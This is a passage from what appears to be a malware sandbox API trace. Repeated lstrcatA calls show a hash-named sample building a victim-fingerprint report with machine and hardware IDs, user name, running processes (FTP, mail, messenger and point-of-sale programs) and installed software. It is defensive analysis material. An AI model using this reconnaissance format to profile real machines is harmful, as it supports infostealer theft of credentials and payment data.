[3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030"
[0054.978] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]"
